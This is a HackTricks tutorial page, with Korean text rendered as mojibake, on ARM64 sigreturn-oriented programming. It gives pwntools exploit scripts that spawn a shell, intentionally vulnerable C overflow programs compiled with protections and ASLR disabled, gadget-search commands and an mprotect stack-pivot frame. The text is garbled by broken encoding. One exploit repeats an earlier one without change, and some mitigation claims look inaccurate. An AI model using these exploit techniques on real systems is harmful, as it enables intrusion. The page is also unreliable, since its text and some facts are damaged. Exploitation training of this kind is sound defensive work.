> [!TIP]

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Pwntools ์˜ˆ์ œ

์ด ์˜ˆ์ œ๋Š” ์ทจ์•ฝํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์ด๋ฅผ ์•…์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ์Šคํƒ์— ์ฝ์–ด๋“ค์ธ ํ›„ **sigreturn**์„ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค:

from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

bof ์˜ˆ์ œ

์ฝ”๋“œ

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ปดํŒŒ์ผํ•˜์„ธ์š”:

clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Exploit

์ด ์ต์Šคํ”Œ๋กœ์ž‡์€ bof๋ฅผ ์•…์šฉํ•˜์—ฌ sigreturn ํ˜ธ์ถœ๋กœ ๋Œ์•„๊ฐ€๊ณ  ์Šคํƒ์„ ์ค€๋น„ํ•˜์—ฌ **execve**๋ฅผ /bin/sh์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ์™€ ํ•จ๊ป˜ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.

from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

bof ์˜ˆ์ œ (sigreturn ์—†์Œ)

์ฝ”๋“œ

#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Exploit

In the section vdso itโ€™s possible to find a call to sigreturn in the offset 0x7b0:

๋”ฐ๋ผ์„œ, ์œ ์ถœ๋œ ๊ฒฝ์šฐ, ์ด ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ sigreturn์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค ์ด์ง„ ํŒŒ์ผ์ด ์ด๋ฅผ ๋กœ๋“œํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ:

from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

๋” ๋งŽ์€ ์ •๋ณด๋Š” vdso์— ๋Œ€ํ•ด ํ™•์ธํ•˜์„ธ์š”:

Ret2vDSO

๊ทธ๋ฆฌ๊ณ  /bin/sh์˜ ์ฃผ์†Œ๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ๊ฐœ์˜ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋” ๋งŽ์€ ์ •๋ณด๋Š”:

ASLR


sigreturn ๊ฐ€์ ฏ ์ž๋™ ์ฐพ๊ธฐ (2023-2025)

ํ˜„๋Œ€ ๋ฐฐํฌํŒ์—์„œ sigreturn ํŠธ๋žจํด๋ฆฐ์€ ์—ฌ์ „ํžˆ vDSO ํŽ˜์ด์ง€์— ์˜ํ•ด ๋‚ด๋ณด๋‚ด์ง€์ง€๋งŒ, ์ •ํ™•ํ•œ ์˜คํ”„์…‹์€ ์ปค๋„ ๋ฒ„์ „ ๋ฐ BTI(+branch-protection) ๋˜๋Š” PAC๊ณผ ๊ฐ™์€ ๋นŒ๋“œ ํ”Œ๋ž˜๊ทธ์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์ž๋™ํ™”ํ•˜๋ฉด ์˜คํ”„์…‹์„ ํ•˜๋“œ์ฝ”๋”ฉํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# With ROPgadget โ‰ฅ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ โ‰ฅ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn

๋‘ ๋„๊ตฌ๋Š” AArch64 ์ธ์ฝ”๋”ฉ์„ ์ดํ•ดํ•˜๋ฉฐ SROP ๊ฐ€์ ฏ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” mov x8, 0x8b ; svc #0 ์‹œํ€€์Šค๋ฅผ ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ : ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ BTI๋กœ ์ปดํŒŒ์ผ๋˜๋ฉด ๋ชจ๋“  ์œ ํšจํ•œ ๊ฐ„์ ‘ ๋ถ„๊ธฐ ๋Œ€์ƒ์˜ ์ฒซ ๋ฒˆ์งธ ๋ช…๋ น์–ด๋Š” bti c์ž…๋‹ˆ๋‹ค. ๋ง์ปค์— ์˜ํ•ด ๋ฐฐ์น˜๋œ sigreturn ํŠธ๋žจํด๋ฆฐ์€ ์ด๋ฏธ ์˜ฌ๋ฐ”๋ฅธ BTI ์ฐฉ๋ฅ™ ํŒจ๋“œ๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์–ด ๊ฐ€์ ฏ์ด ๋น„ํŠน๊ถŒ ์ฝ”๋“œ์—์„œ ์—ฌ์ „ํžˆ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

ROP์™€ SROP ์—ฐ๊ฒฐํ•˜๊ธฐ (mprotect๋ฅผ ํ†ตํ•œ ํ”ผ๋ฒ—)

rt_sigreturn์€ ๋ชจ๋“  ๋ฒ”์šฉ ๋ ˆ์ง€์Šคํ„ฐ์™€ pstate๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. x86์—์„œ์˜ ์ผ๋ฐ˜์ ์ธ ํŒจํ„ด์€: 1) SROP๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ mprotect๋ฅผ ํ˜ธ์ถœํ•˜๊ณ , 2) ์‰˜์ฝ”๋“œ๋ฅผ ํฌํ•จํ•˜๋Š” ์ƒˆ๋กœ์šด ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์Šคํƒ์œผ๋กœ ํ”ผ๋ฒ—ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ARM64์—์„œ๋„ ๋™์ผํ•œ ์•„์ด๋””์–ด๊ฐ€ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค:

frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect   # 226
frame.x0 = 0x400000                # page-aligned stack address
frame.x1 = 0x2000                  # size
frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100        # new pivot
frame.pc = svc_call                # will re-enter kernel

ํ”„๋ ˆ์ž„์„ ์ „์†กํ•œ ํ›„, 0x400000+0x100์— ์›์‹œ ์…ธ ์ฝ”๋“œ๋ฅผ ํฌํ•จํ•˜๋Š” ๋‘ ๋ฒˆ์งธ ๋‹จ๊ณ„๋ฅผ ์ „์†กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. AArch64๋Š” PC-relative ์ฃผ์†Œ ์ง€์ •์„ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ, ํฐ ROP ์ฒด์ธ์„ ๊ตฌ์ถ•ํ•˜๋Š” ๊ฒƒ๋ณด๋‹ค ๋” ํŽธ๋ฆฌํ•œ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.

์ปค๋„ ๊ฒ€์ฆ, PAC ๋ฐ ์„€๋„์šฐ ์Šคํƒ

Linux 5.16์€ ์‚ฌ์šฉ์ž ๊ณต๊ฐ„ ์‹ ํ˜ธ ํ”„๋ ˆ์ž„์— ๋Œ€ํ•œ ๋” ์—„๊ฒฉํ•œ ๊ฒ€์ฆ์„ ๋„์ž…ํ–ˆ์Šต๋‹ˆ๋‹ค (์ปค๋ฐ‹ 36f5a6c73096). ์ปค๋„์€ ์ด์ œ ๋‹ค์Œ์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค:

  • uc_flags๋Š” extra_context๊ฐ€ ์กด์žฌํ•  ๋•Œ UC_FP_XSTATE๋ฅผ ํฌํ•จํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • struct rt_sigframe์˜ ์˜ˆ์•ฝ์–ด๋Š” 0์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • extra_context ๋ ˆ์ฝ”๋“œ์˜ ๋ชจ๋“  ํฌ์ธํ„ฐ๋Š” ์ •๋ ฌ๋˜์–ด ์žˆ์œผ๋ฉฐ ์‚ฌ์šฉ์ž ์ฃผ์†Œ ๊ณต๊ฐ„ ๋‚ด๋ฅผ ๊ฐ€๋ฆฌ์ผœ์•ผ ํ•ฉ๋‹ˆ๋‹ค.

pwntools>=4.10์€ ์ž๋™์œผ๋กœ ์ค€์ˆ˜ํ•˜๋Š” ํ”„๋ ˆ์ž„์„ ์ƒ์„ฑํ•˜์ง€๋งŒ, ์ˆ˜๋™์œผ๋กœ ๊ตฌ์ถ•ํ•˜๋Š” ๊ฒฝ์šฐ reserved๋ฅผ 0์œผ๋กœ ์ดˆ๊ธฐํ™”ํ•˜๊ณ  ์ •๋ง ํ•„์š”ํ•˜์ง€ ์•Š๋Š” ํ•œ SVE ๋ ˆ์ฝ”๋“œ๋ฅผ ์ƒ๋žตํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด rt_sigreturn์ด ๋ฐ˜ํ™˜ ๋Œ€์‹  SIGSEGV๋ฅผ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.

์ฃผ๋ฅ˜ Android 14 ๋ฐ Fedora 38๋ถ€ํ„ฐ ์‚ฌ์šฉ์ž ๊ณต๊ฐ„์€ ๊ธฐ๋ณธ์ ์œผ๋กœ PAC (Pointer Authentication) ๋ฐ BTI๊ฐ€ ํ™œ์„ฑํ™”๋œ ์ƒํƒœ๋กœ ์ปดํŒŒ์ผ๋ฉ๋‹ˆ๋‹ค (-mbranch-protection=standard). SROP ์ž์ฒด๋Š” ์˜ํ–ฅ์„ ๋ฐ›์ง€ ์•Š์ง€๋งŒ, ์ปค๋„์ด ์ƒ์„ฑ๋œ ํ”„๋ ˆ์ž„์—์„œ ์ง์ ‘ PC๋ฅผ ๋ฎ์–ด์“ฐ๋ฏ€๋กœ ์Šคํƒ์— ์ €์žฅ๋œ ์ธ์ฆ๋œ LR์„ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ฐ„์ ‘ ๋ถ„๊ธฐ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ํ›„์† ROP ์ฒด์ธ์€ BTI๊ฐ€ ํ™œ์„ฑํ™”๋œ ๋ช…๋ น์–ด ๋˜๋Š” PAC๋œ ์ฃผ์†Œ๋กœ ์ ํ”„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ€์ ฏ์„ ์„ ํƒํ•  ๋•Œ ์ด๋ฅผ ์—ผ๋‘์— ๋‘์‹ญ์‹œ์˜ค.

ARMv8.9์—์„œ ๋„์ž…๋œ ์„€๋„์šฐ ํ˜ธ์ถœ ์Šคํƒ(์ด๋ฏธ ChromeOS 1.27+์—์„œ ํ™œ์„ฑํ™”๋จ)์€ ์ปดํŒŒ์ผ๋Ÿฌ ์ˆ˜์ค€์˜ ์™„ํ™” ์กฐ์น˜์ด๋ฉฐ, SROP์— ๊ฐ„์„ญํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ๋ฐ˜ํ™˜ ๋ช…๋ น์–ด๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ œ์–ด ํ๋ฆ„์€ ์ปค๋„์— ์˜ํ•ด ์ „์†ก๋ฉ๋‹ˆ๋‹ค.

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ